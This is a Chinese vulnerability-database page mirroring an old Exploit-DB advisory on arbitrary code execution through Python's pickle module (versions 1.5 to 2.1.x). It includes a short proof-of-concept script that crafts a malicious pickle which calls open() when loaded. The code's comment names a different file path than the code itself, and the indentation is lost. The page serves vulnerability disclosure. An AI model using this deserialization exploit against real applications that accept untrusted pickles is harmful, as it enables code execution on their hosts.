Python 1.5/1.6/2.0/2.1.x – Pickle Class Constructor Arbitrary Code Execution

Python 1.5/1.6/2.0/2.1.x – Pickle Class Constructor Arbitrary Code Execution

漏洞ID 1053602 漏洞类型
发布时间 2002-07-17 更新时间 2002-07-17
图片[1]-Python 1.5/1.6/2.0/2.1.x – Pickle Class Constructor Arbitrary Code Execution-安全小百科CVE编号 N/A
图片[2]-Python 1.5/1.6/2.0/2.1.x – Pickle Class Constructor Arbitrary Code Execution-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/21624
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/5257/info


Python is an open source, object oriented programming language. The Python Pickle module is provided to convert object variables into a serialized form ("pickling"), and later recover the data back into an object hierarchy ("unpickling").

A vulnerability has been reported in the Pickle implementation included with some versions of Python. If specially crafted malicious object data is "unpickled", it may cause arbitrary Python commands to be executed, including system calls. This is accomplished by specifying an available function as the class constructor.

Exploitation of this vulnerability will be highly dependent on a specific Python application which accepts a pickle string from an untrusted source. This behavior has been reported in some implementations of the Python SmartCookie class.

import pickle, new

def nasty(module, function, *args):
return pickle.dumps(new.classobj(function, (), {
'__getinitargs__': lambda self, arg = args: arg,
'__module__': module
}) ())

# Create the evil pickle
t = nasty("__builtin__", "open", "/tmp/pickle-bug", "w")
# Show the user how it looks
print repr(t)
# Now, load the pickle -- creates the file /tmp/python-is-buggy (by calling
# the builtin open() function, then raises an exception. But the damage is
# done...
pickle.loads(t)

相关推荐: NT LsaLookupSids() DoS Vulnerability

NT LsaLookupSids() DoS Vulnerability 漏洞ID 1104453 漏洞类型 Input Validation Error 发布时间 1999-12-16 更新时间 1999-12-16 CVE编号 N/A CNNVD-ID N…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享